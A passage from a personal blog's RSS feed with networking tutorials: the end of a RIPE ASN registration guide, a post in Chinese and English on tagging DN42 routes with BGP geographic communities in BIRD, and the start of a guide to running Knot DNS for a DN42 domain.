&lt;li&gt;country: Country code, refer to ISO 3166. For China, use &lt;code&gt;CN&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;e-mail: The organization&apos;s email address.&lt;/li&gt;
&lt;li&gt;admin-c / tech-c: Administrative and technical contact objects (referencing the role handle).&lt;/li&gt;
&lt;li&gt;abuse-c: Specifies the abuse contact (must be a role object linked to the &lt;code&gt;abuse-mailbox&lt;/code&gt; in that role).&lt;/li&gt;
&lt;li&gt;mnt-ref: Specifies which maintainer(s) can create objects referencing this organisation.&lt;/li&gt;
&lt;li&gt;mnt-by: Specifies who can maintain this organisation object itself.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Click SUBMIT after filling out the form and note the returned object identifier, which follows a format like &lt;code&gt;ORG-XXXX-RIPE&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/2025/08/265402167.png&quot; alt=&quot;6.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;If you need to make changes after submission, go to &lt;a href=&quot;https://apps.db.ripe.net/db-web-ui/query&quot;&gt;Query - RIPE Database&lt;/a&gt; and search for the previously noted Role primary key or the Organization object identifier to find the update option.&lt;/p&gt;
&lt;h1&gt;Paying the LIR Fee and Submitting Documents&lt;/h1&gt;
&lt;p&gt;Submit the following documents to your chosen LIR:&lt;/p&gt;
&lt;h4&gt;Proof of Identity&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Full Name&lt;/li&gt;
&lt;li&gt;Address (recommended to match your ID document)&lt;/li&gt;
&lt;li&gt;Photos of the front and back of your ID card&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;RIPE Database Information&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;org: Organization object identifier&lt;/li&gt;
&lt;li&gt;as-name: AS Name&lt;/li&gt;
&lt;li&gt;admin-c: Primary key of the role object created earlier&lt;/li&gt;
&lt;li&gt;tech-c: Primary key of the role object created earlier&lt;/li&gt;
&lt;li&gt;abuse-c: Primary key of the role object created earlier&lt;/li&gt;
&lt;li&gt;nic-hdl: Primary key of the role object created earlier&lt;/li&gt;
&lt;li&gt;mnt-by: Name of the maintainer object created earlier&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Technical Justification&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;VPS Bill/Invoice&lt;/li&gt;
&lt;li&gt;Upstream ASNs&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The LIR will likely ask you to add a &lt;code&gt;mnt-ref&lt;/code&gt; attribute to your Organization object, pointing to the LIR&apos;s maintainer. This allows the LIR to assign the AS and IP resources to your Organization. Once the LIR reviews and approves your application, they will submit the request to RIPE. Then, it&apos;s a waiting game. Generally, it takes 3-5 working days to get your ASN.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/2025/08/2915345494.png&quot; alt=&quot;lir-ticket-1.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;At this point, we have successfully registered our own ASN on the public internet.&lt;/p&gt;
&lt;h1&gt;Supplement: Relationships Between Concepts in the RIPE Database&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;graph LR
    %% ========== ORG Layer ==========
    subgraph Org[&quot;Organisation&quot;]
        ORG[&quot;organisation\n(ORG-XXX-RIPE)&quot;]
    end
    
    %% ========== Resource Layer ==========
    subgraph Resource[&quot;Resources&quot;]
        INETNUM[&quot;inetnum\n(IPv4 Block)&quot;]
        INET6NUM[&quot;inet6num\n(IPv6 Block)&quot;]
        AUTNUM[&quot;aut-num\n(ASN)&quot;]
        ASSET[&quot;as-set\n(ASN Set)&quot;]
    end
    
    %% ========== Routing Layer ==========
    subgraph Routing[&quot;Routing&quot;]
        ROUTE[&quot;route\n(IPv4 Route Announcement)&quot;]
        ROUTE6[&quot;route6\n(IPv6 Route Announcement)&quot;]
    end

    %% ========== Contact Layer ==========
    subgraph Contact[&quot;Contacts&quot;]
        ROLE[&quot;role\n(Team/Function)\nnic-hdl&quot;]
        PERSON[&quot;person\n(Individual)\nnic-hdl&quot;]
    end

    %% ========== Authorization Layer ==========
    subgraph Maintainer[&quot;Authorization&quot;]
        MNT[&quot;mntner\n(Maintainer)&quot;]
    end
    
    %% ========== Contact Links ==========
    INETNUM --&amp;gt; ROLE
    INET6NUM --&amp;gt; ROLE
    AUTNUM --&amp;gt; ROLE
    ASSET --&amp;gt; ROLE
    ROUTE --&amp;gt; ROLE
    ROUTE6 --&amp;gt; ROLE

    ROLE --&amp;gt; PERSON

    %% ========== Organization Assignment ==========
    ORG --&amp;gt; INETNUM
    ORG --&amp;gt; INET6NUM
    ORG --&amp;gt; AUTNUM
    ORG --&amp;gt; ASSET


    %% ========== Authorization ==========
    ORG --&amp;gt; MNT
    INETNUM --&amp;gt; MNT
    INET6NUM --&amp;gt; MNT
    AUTNUM --&amp;gt; MNT
    ASSET --&amp;gt; MNT
    ROUTE --&amp;gt; MNT
    ROUTE6 --&amp;gt; MNT
    ROLE --&amp;gt; MNT
    PERSON --&amp;gt; MNT

    %% ========== Route Binding ==========
    ROUTE --&amp;gt;|origin| AUTNUM
    ROUTE6 --&amp;gt;|origin| AUTNUM

    %% ========== Route Scope ==========
    ROUTE --&amp;gt;|belongs to| INETNUM
    ROUTE6 --&amp;gt;|belongs to| INET6NUM

&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;p&gt;Special thanks to Mi Lu for providing technical support and answering questions!&lt;/p&gt;
&lt;p&gt;Reference Articles:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.lyc8503.net/post/asn-1-asn-registration/&quot;&gt;自己在家开运营商 Part.1 - 注册一个 ASN - LYC8503&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://pysio.online/posts/daily/RegistryASN.html&quot;&gt;从0开始注册一个ASN并广播IP | Pysio&apos;s Home&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.liuzhen932.top/posts/asn-1-registration/&quot;&gt;青年人的第一个运营商：注册一个 ASN | liuzhen932 的小窝&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>DN42探究日记 - Ep.4 配置BGP Communities</title><link>https://blog.iyoroy.cn/posts/118/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/118/</guid><description>在 BIRD 中为自己的 DN42 路由添加地理位置 Community，并根据收到的标签调整 LOCAL_PREF，尝试按地区和直连关系进行选路。</description><pubDate>Sun, 17 Aug 2025 15:43:00 GMT</pubDate><content:encoded>&lt;h1&gt;写在前面&lt;/h1&gt;
&lt;p&gt;本人是BGP小白，文章中可能会存在&lt;strong&gt;不严谨内容/小白理解/低级错误&lt;/strong&gt;，请诸位大佬们手下留情。若发现存在问题，您愿意的话可以&lt;a href=&quot;mailto:i@iyoroy.cn&quot;&gt;邮件联系我&lt;/a&gt;，我会在第一时间更正。&lt;strong&gt;如果您不能接受，建议现在就关闭此文章&lt;/strong&gt;。&lt;/p&gt;
&lt;h1&gt;什么是BGP Communities&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;TL;DR: BGP Communities给路由“打标签”，其他人可以通过这个标签实现路由优选&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这个概念对于刚入坑的小白 &lt;s&gt;（比如我）&lt;/s&gt; 来说可能比较陌生，可能不理解它是干吗用的
简单来说，BGP Communities是一种&lt;strong&gt;标记路由&lt;/strong&gt;的机制，类似于给路由打标签。它允许网络管理员给通过BGP传播的路由附加一个或多个“标签”（即社区值）。这些标签本身并不改变路由的路径属性（如AS_PATH、LOCAL_PREF、MED等），但它们提供了一种&lt;strong&gt;信号机制&lt;/strong&gt;，用于向本AS内或下游对等AS中的其他路由器&lt;strong&gt;指示应该对该路由执行何种策略或处理&lt;/strong&gt;。BGP Communities可以用来：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;简化策略配置&lt;/strong&gt;: 网络内部或下游 AS 的路由器只需配置基于社区值的策略（如设置LOCAL_PREF、添加NO_EXPORT、应用路由图等），无需知道具体的前缀细节。这使得策略更集中、更易管理、更不易出错&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;传达策略意图给下游AS&lt;/strong&gt;: 可以将社区值附加在它通告给下游客户或对等AS的路由上。这些社区值传达了对这些路由应如何处理的要求或建议，如根据不同地理位置、不同延迟和带宽来进行路由优选等&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;在AS内部协调策&lt;/strong&gt;: 在大型AS内部，IBGP全互联或使用路由反射器时，可以在 AS 边缘路由器（接收 EBGP 路由或重分发路由的路由器）给路由打上社区值，AS内部的核心路由器或路由反射器可以识别这些社区值，并应用相应的内部策略（如设置LOCAL_PREF、MED、决定是否向某些IBGP对等体通告、打上其他社区等），而无需在每个内部路由器上配置复杂的基于前缀的策略&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;DN42中有一套自己的Communities规范，详情可参考：&lt;a href=&quot;https://dn42.dev/howto/BGP-communities&quot;&gt;BGP-communities - DN42 Wiki&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;配置&lt;/h1&gt;
&lt;p&gt;本文大致思路和方案来源于Xe_iu大佬，仅针对地理位置信息添加BGP Communities并进行优选。一般来说这样就足够了。&lt;s&gt;（还有个原因是其他的我还没太搞明白）&lt;/s&gt;&lt;br /&gt;
注意：本文的地理标签用于标识&lt;strong&gt;自己发起的路由&lt;/strong&gt;，因此只给自己的前缀添加，不改写邻居路由上的地理标签。给邻居路由加上自己的地区标签，可能误导依赖这些标签的选路策略，但这不等同于修改路由的起源 AS。Standard Community 和 Large Community 都不自带真实性验证；收到的标签是否可信，需要结合对等关系、约定和导入过滤策略判断。&lt;/p&gt;
&lt;p&gt;Large Community 的安全边界可参考 &lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc8092.html#section-7&quot;&gt;RFC 8092 第 7 节&lt;/a&gt;：路径上的中间 AS 可以增加、删除或修改这些属性。&lt;/p&gt;
&lt;p&gt;思路已经很明白了，在导出路由时我们需要先验证是否是我们自己的路由，如果是则为路由打上communities标签即可。DN42官方给的样例配置中已经写好了两个函数&lt;code&gt;is_self_net()&lt;/code&gt;和&lt;code&gt;is_self_net_v6()&lt;/code&gt;用于检查是否是自己的路由，因此编写配置文件部分就很简单了。&lt;/p&gt;
&lt;h2&gt;为路由添加Communities&lt;/h2&gt;
&lt;p&gt;首先我们需要在节点配置文件开头定义好当前节点的地理区域信息，详情请查询&lt;a href=&quot;https://dn42.dev/howto/BGP-communities&quot;&gt;BGP-communities - DN42 Wiki&lt;/a&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;define DN42_REGION = 52;   # 52代表亚洲东部地区
define DN42_COUNTRY= 1344; # 1344代表香港
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;请将上述数值按照你的节点地理位置情况修改&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;随后在dnpeers模板中修改导出的过滤器：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;         };
 
         export filter {
-            if is_valid_network() &amp;amp;&amp;amp; source ~ [RTS_STATIC, RTS_BGP] then accept;
+            if is_valid_network() &amp;amp;&amp;amp; source ~ [RTS_STATIC, RTS_BGP] then{ 
+                if (is_self_net()) then {      # 检查是否是自己的路由
+                    bgp_community.add((64511, DN42_REGION));  # 打上大洲级别的区域信息
+                    bgp_community.add((64511, DN42_COUNTRY)); # 打上国家/地区信息
+                }
+                accept;
+            }
             reject;
         };
         import limit 1000 action block;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在导出时检查，如果是自己的路由则按照上面设置的&lt;code&gt;DN42_REGION&lt;/code&gt;和&lt;code&gt;DN42_COUNTRY&lt;/code&gt;为该路由设置bgp_community。其中，&lt;code&gt;64511&lt;/code&gt;是&lt;strong&gt;专门为地理标签（Region/Country）保留的公共AS号标识符&lt;/strong&gt;，直接照抄即可。在IPv6的导出规则中也如法炮制，不过将&lt;code&gt;is_self_net()&lt;/code&gt;换成&lt;code&gt;is_self_net_v6()&lt;/code&gt;即可。&lt;/p&gt;
&lt;h2&gt;根据Communities优选&lt;/h2&gt;
&lt;p&gt;此处我们需要引入另一个概念：&lt;code&gt;local_pref&lt;/code&gt;（Local Preference），他用于&lt;strong&gt;在AS内部&lt;/strong&gt;标识路由的优先级。其默认值为100，值越大优先级越高。并且在BGP选路逻辑中，&lt;code&gt;local_pref&lt;/code&gt;有着最高的优先级，甚至高于&lt;code&gt;AS_PATH&lt;/code&gt;长度。也就是说，通过设置&lt;code&gt;local_pref&lt;/code&gt;我们可以调整整个路由的优先级，以实现路由优选。&lt;br /&gt;
再结合上文的BGP Communities，我们可以根据Communities来为路由设置相应的&lt;code&gt;local_pref&lt;/code&gt;来实现优选。同时，因为&lt;code&gt;BGP.local_pref&lt;/code&gt;会在AS内部传递，所以需要同时更改eBGP和iBGP的路由导入和导出逻辑。&lt;/p&gt;
&lt;p&gt;此处我处理BGP.local_pref的逻辑参考 &lt;s&gt;（实际上是照抄）&lt;/s&gt; 了Xe_iu大佬的方案：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;对于同一个大洲的路由，优先级+10&lt;/li&gt;
&lt;li&gt;对于同一个国家，优先级再+5&lt;/li&gt;
&lt;li&gt;对于直接和自己Peer的路由，优先级再+20&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;创建一个函数用于优先级计算：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function ebgp_calculate_priority() {
    int priority = 100;  # 基础优先级
    
    # 同区域检测（+10）
    if bgp_community ~ [(64511, DN42_REGION)] then 
        priority = priority + 10;
    
    # 同国家检测（+5）
    if bgp_community ~ [(64511, DN42_COUNTRY)] then 
        priority = priority + 5;
    
    # eBGP直接邻居检测（+20）
    if bgp_path.len = 1 then 
        priority = priority + 20;
    
    return priority;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接着，在dnpeers模板中的导入过滤器中将&lt;code&gt;bgp_local_pref&lt;/code&gt;设置为从函数计算出来的值：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;template bgp dnpeers {
    local as OWNAS;
    path metric 1;

    ipv4 {
        import filter {
            if is_valid_network() &amp;amp;&amp;amp; !is_self_net() then {
                if (roa_check(dn42_roa, net, bgp_path.last) != ROA_VALID) then {
                    print &quot;[dn42] ROA check failed for &quot;, net, &quot; ASN &quot;, bgp_path.last;
                    reject;
                }
+               bgp_local_pref = ebgp_calculate_priority(); 
                accept;
            }
            reject;
        };
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;IPv6也如法炮制即可。&lt;/p&gt;
&lt;p&gt;运行&lt;code&gt;birdc configure&lt;/code&gt;之后，我们应该就能在自己的邻居那里看到我们的路由已经被打上了Communities标签：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/2025/08/1787367294.png&quot; alt=&quot;akile-hk: show route for 172.20.234.224 all&quot; /&gt;&lt;/p&gt;
&lt;p&gt;（此处截图来自：&lt;a href=&quot;https://lg.milu.moe/route_all/hk/172.20.234.224&quot;&gt;https://lg.milu.moe/route_all/hk/172.20.234.224&lt;/a&gt;）&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;特别感谢Nuro Trace大佬和Xe_iu大佬，他们帮助我加深了对BGP Communities的理解并提供了很多帮助&lt;br /&gt;
参考文章：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.xeiu.top/archives/448&quot;&gt;[DN42] bird2的配置文件 – Xe_iu&apos;s Blog | Xe_iu的杂物间&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.xeiu.top/archives/402&quot;&gt;[DN42] 谈一谈如何配置 BGP community – Xe_iu&apos;s Blog | Xe_iu的杂物间&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://dn42.dev/howto/BGP-communities&quot;&gt;BGP-communities - DN42 Wiki&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>DN42 - Ep.4 Configuring BGP Communities</title><link>https://blog.iyoroy.cn/posts/en-118/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/en-118/</guid><description>Tagging my DN42 routes with geographic communities in BIRD and adjusting LOCAL_PREF using received tags to prefer nearby routes and direct peers.</description><pubDate>Sun, 17 Aug 2025 15:43:00 GMT</pubDate><content:encoded>&lt;h1&gt;Foreword&lt;/h1&gt;
&lt;p&gt;I am a novice in BGP. This article may contain &lt;strong&gt;imprecise content/naive understandings/elementary mistakes&lt;/strong&gt;. I kindly ask the experts to be lenient. If you find any issues, you are welcome to contact me via &lt;a href=&quot;mailto:i@iyoroy.cn&quot;&gt;email&lt;/a&gt;, and I will correct them as soon as possible. &lt;strong&gt;If you find this unacceptable, it is recommended to close this article now.&lt;/strong&gt;&lt;/p&gt;
&lt;h1&gt;What are BGP Communities?&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;TL;DR: BGP Communities &quot;tag&quot; routes, allowing others to use these tags for route optimization.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This concept might be unfamiliar to newcomers &lt;s&gt;(like me)&lt;/s&gt;, who might not initially understand its purpose.&lt;br /&gt;
Simply put, BGP Communities are a mechanism for &lt;strong&gt;tagging routes&lt;/strong&gt;, similar to adding labels. They allow network administrators to attach one or more &quot;tags&quot; (i.e., community values) to routes propagated via BGP. These tags themselves do not alter the route&apos;s path attributes (like AS_PATH, LOCAL_PREF, MED, etc.), but they provide a &lt;strong&gt;signaling mechanism&lt;/strong&gt; to &lt;strong&gt;indicate what policy or processing should be applied to that route&lt;/strong&gt; by other routers within the same AS or in downstream peer ASes. BGP Communities can be used to:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Simplify Policy Configuration&lt;/strong&gt;: Routers inside the network or in downstream ASes only need to configure policies based on community values (like setting LOCAL_PREF, adding NO_EXPORT, applying route-maps, etc.), without needing to know the specific prefix details. This makes policies more centralized, easier to manage, and less prone to errors.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Convey Policy Intent to Downstream ASes&lt;/strong&gt;: An AS can attach community values to routes it advertises to its downstream customer or peer ASes. These communities convey requirements or suggestions on how these routes should be handled, such as route optimization based on geographic location, latency, or bandwidth.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Coordinate Policies within an AS&lt;/strong&gt;: Inside a large AS, when using IBGP full-mesh or route reflectors, edge routers (receiving EBGP routes or redistributing routes) can tag routes with community values. Core routers or route reflectors within the AS can recognize these communities and apply corresponding internal policies (like setting LOCAL_PREF, MED, deciding whether to advertise to certain IBGP peers, adding other communities, etc.), without needing complex prefix-based policies on every internal router.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;DN42 has its own set of Communities specifications. For details, please refer to: &lt;a href=&quot;https://dn42.dev/howto/BGP-communities&quot;&gt;BGP-communities - DN42 Wiki&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;Configuration&lt;/h1&gt;
&lt;p&gt;The general idea and approach in this article are largely based on Xe_iu&apos;s method, focusing on adding BGP Communities for geographic information and performing route optimization. Generally, this is sufficient. &lt;s&gt;(Another reason is that I haven&apos;t fully grasped the others yet)&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;Note: In this example, geographic tags describe &lt;strong&gt;routes originated by our own AS&lt;/strong&gt;, so I only add them to my own prefixes and leave neighbors&apos; geographic tags unchanged. Adding our region to a neighbor&apos;s route could mislead policies that rely on these tags, but it does not change the route&apos;s origin AS. Neither Standard nor Large Communities provide built-in authenticity checks; trust depends on peer relationships, agreed semantics, and import filters.&lt;/p&gt;
&lt;p&gt;See &lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc8092.html#section-7&quot;&gt;RFC 8092, Section 7&lt;/a&gt;: intermediate ASes can add, delete, or alter Large Community attributes.&lt;/p&gt;
&lt;p&gt;The idea is clear. When exporting routes, we first need to verify if it&apos;s our own route. If it is, we add the communities tag to the route. The sample configuration provided by DN42 already includes two functions, &lt;code&gt;is_self_net()&lt;/code&gt; and &lt;code&gt;is_self_net_v6()&lt;/code&gt;, to check if a route is our own. Therefore, writing the configuration part is straightforward.&lt;/p&gt;
&lt;h2&gt;Adding Communities to Routes&lt;/h2&gt;
&lt;p&gt;First, we need to define the geographic region information for the current node at the beginning of the node configuration file. Please check &lt;a href=&quot;https://dn42.dev/howto/BGP-communities&quot;&gt;BGP-communities - DN42 Wiki&lt;/a&gt; for details:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;define DN42_REGION = 52;   # 52 represents East Asia
define DN42_COUNTRY= 1344; # 1344 represents Hong Kong
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Please modify these values according to your node&apos;s actual geographic location.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Then, modify the export filter in the dnpeers template:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;         };

         export filter {
-            if is_valid_network() &amp;amp;&amp;amp; source ~ [RTS_STATIC, RTS_BGP] then accept;
+            if is_valid_network() &amp;amp;&amp;amp; source ~ [RTS_STATIC, RTS_BGP] then{
+                if (is_self_net()) then {      # Check if it&apos;s our own route
+                    bgp_community.add((64511, DN42_REGION));  # Add continent-level region info
+                    bgp_community.add((64511, DN42_COUNTRY)); # Add country/region info
+                }
+                accept;
+            }
             reject;
         };
         import limit 1000 action block;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;During export, it checks if it&apos;s our own route. If it is, it sets the &lt;code&gt;bgp_community&lt;/code&gt; according to the defined &lt;code&gt;DN42_REGION&lt;/code&gt; and &lt;code&gt;DN42_COUNTRY&lt;/code&gt;. Here, &lt;code&gt;64511&lt;/code&gt; is the &lt;strong&gt;reserved public AS number identifier specifically for geographic tags (Region/Country)&lt;/strong&gt;; you can just copy it. Apply the same method to the IPv6 export rules, but replace &lt;code&gt;is_self_net()&lt;/code&gt; with &lt;code&gt;is_self_net_v6()&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Route Optimization Based on Communities&lt;/h2&gt;
&lt;p&gt;Here we need to introduce another concept: &lt;code&gt;local_pref&lt;/code&gt; (Local Preference). It is used within an AS to indicate the priority of a route. Its default value is &lt;code&gt;100&lt;/code&gt;, and a higher value indicates higher priority. Furthermore, in BGP route selection logic, &lt;code&gt;local_pref&lt;/code&gt; has the highest priority, even higher than &lt;code&gt;AS_PATH&lt;/code&gt; length. This means that by setting &lt;code&gt;local_pref&lt;/code&gt;, we can adjust the priority of routes to achieve route optimization.
Combining this with the BGP Communities mentioned above, we can set the corresponding &lt;code&gt;local_pref&lt;/code&gt; based on Communities for optimization. Also, since &lt;code&gt;BGP.local_pref&lt;/code&gt; is propagated within the AS, we need to modify the import logic for both eBGP and iBGP routes.&lt;/p&gt;
&lt;p&gt;My logic for handling &lt;code&gt;BGP.local_pref&lt;/code&gt; here references &lt;s&gt;(basically copies)&lt;/s&gt; Xe_iu&apos;s approach:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;For routes from the same region, priority +10&lt;/li&gt;
&lt;li&gt;For routes from the same country, priority +5 additionally&lt;/li&gt;
&lt;li&gt;For routes received via direct peering with us, priority +20 additionally&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Create a function to calculate the priority:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function ebgp_calculate_priority() {
    int priority = 100;  # Base priority

    # Same region detection (+10)
    if bgp_community ~ [(64511, DN42_REGION)] then
        priority = priority + 10;

    # Same country detection (+5)
    if bgp_community ~ [(64511, DN42_COUNTRY)] then
        priority = priority + 5;

    # Direct eBGP neighbor detection (+20)
    if bgp_path.len = 1 then
        priority = priority + 20;

    return priority;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then, in the import filter within the &lt;code&gt;dnpeers&lt;/code&gt; template, set &lt;code&gt;bgp_local_pref&lt;/code&gt; to the value calculated by the function:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;template bgp dnpeers {
    local as OWNAS;
    path metric 1;

    ipv4 {
        import filter {
            if is_valid_network() &amp;amp;&amp;amp; !is_self_net() then {
                if (roa_check(dn42_roa, net, bgp_path.last) != ROA_VALID) then {
                    print &quot;[dn42] ROA check failed for &quot;, net, &quot; ASN &quot;, bgp_path.last;
                    reject;
                }
+               bgp_local_pref = ebgp_calculate_priority(); 
                accept;
            }
            reject;
        };
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Apply the same method for IPv6.&lt;/p&gt;
&lt;p&gt;After running &lt;code&gt;birdc configure&lt;/code&gt;, we should be able to see that our routes have been tagged with Communities labels at our neighbors:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/2025/08/1787367294.png&quot; alt=&quot;akile-hk: show route for 172.20.234.224 all&quot; /&gt;&lt;/p&gt;
&lt;p&gt;(Screenshot source:&lt;a href=&quot;https://lg.milu.moe/route_all/hk/172.20.234.224&quot;&gt;https://lg.milu.moe/route_all/hk/172.20.234.224&lt;/a&gt;)&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Special thanks to Nuro Trace and Xe_iu. They helped deepen my understanding of BGP Communities and provided much assistance.
Reference Articles:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.xeiu.top/archives/448&quot;&gt;[DN42] bird2的配置文件 – Xe_iu&apos;s Blog | Xe_iu的杂物间&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.xeiu.top/archives/402&quot;&gt;[DN42] 谈一谈如何配置 BGP community – Xe_iu&apos;s Blog | Xe_iu的杂物间&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://dn42.dev/howto/BGP-communities&quot;&gt;BGP-communities - DN42 Wiki&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>DN42探究日记 - Ep.3 在DN42中注册域名并搭建权威DNS</title><link>https://blog.iyoroy.cn/posts/112/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/112/</guid><description>在 DN42 注册域名并用 Knot DNS 搭建主从权威 DNS，配置正向解析和 IPv4、IPv6 反向解析，记录区域文件与 Registry 条目的写法。</description><pubDate>Sun, 03 Aug 2025 13:22:00 GMT</pubDate><content:encoded>&lt;h1&gt;写在前面&lt;/h1&gt;
&lt;p&gt;本人是BGP小白，文章中可能会存在&lt;strong&gt;不严谨内容/小白理解/低级错误&lt;/strong&gt;，请诸位大佬们手下留情。若发现存在问题，您愿意的话可以&lt;a href=&quot;mailto:i@iyoroy.cn&quot;&gt;邮件联系我&lt;/a&gt;，我会在第一时间更正。&lt;strong&gt;如果您不能接受，建议现在就关闭此文章&lt;/strong&gt;。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;假设你已经加入了DN42，并且能够正常收发路由表并且访问到DN42内的IP&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;本文更新日志&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;2025年8月3日：文章第一版发布&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;2026年3月15日：更新修复一些typo（感谢@Auride大佬的指正）&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;起因&lt;/h1&gt;
&lt;p&gt;在调试网络的时候发现Ping或traceroute别人的DN42 IP都能显示出来反向解析的域名，能知道路由经过了哪些节点而不是单纯的看IP（如下图），非常一目了然，&lt;s&gt;让别人一眼就看出来你绕路了（逃），&lt;/s&gt; 因此打算自己也注册一个DN42域名并搭建权威DNS服务。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/2025/08/1407227036.png&quot; alt=&quot;1.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;查阅了蓝天大佬的&lt;a href=&quot;https://lantian.pub/article/modify-website/register-own-domain-in-dn42.lantian/&quot;&gt;这篇文章&lt;/a&gt;，他使用了PowerDNS+MySQL主从同步方案，但是我的服务器性能较差（只有1核心1GB内存），因此打算使用&lt;a href=&quot;https://www.knot-dns.cz/&quot;&gt;KnotDNS&lt;/a&gt;作为DNS服务器，用标准区域传输协议（AXFR/IXFR）实现主从同步。&lt;/p&gt;
&lt;h1&gt;准备工作&lt;/h1&gt;
&lt;p&gt;:::warning
本章及后续章节中提到的域名和IP均为我自己的域名和IP，实际部署时请换成你自己的；&lt;strong&gt;文章中尖括号括起来的值需要按你的需求修改&lt;/strong&gt;
:::&lt;/p&gt;
&lt;p&gt;挑选一个自己心仪的域名：&lt;code&gt;yori.dn42&lt;/code&gt;，并且计划在三台机器上部署DNS服务器：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;172.20.234.225, fd18:3e15:61d0::1, ns1.yori.dn42&lt;/li&gt;
&lt;li&gt;172.20.234.227, fd18:3e15:61d0::3, ns2.yori.dn42&lt;/li&gt;
&lt;li&gt;172.20.234.229, fd18:3e15:61d0::5, ns3.yori.dn42&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;其中，&lt;code&gt;ns1.yori.dn42&lt;/code&gt;作为主服务器，ns2、ns3作为从服务器。&lt;/p&gt;
&lt;h1&gt;安装KnotDNS&lt;/h1&gt;
&lt;p&gt;如果系统的53端口被&lt;code&gt;systemd-resolvd&lt;/code&gt;之类的进程占用了，就先将其禁用：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;systemctl stop systemd-resolved
systemctl disable systemd-resolved
unlink /etc/resolv.conf
echo &quot;nameserver 8.8.8.8&quot; &amp;gt; /etc/resolv.conf
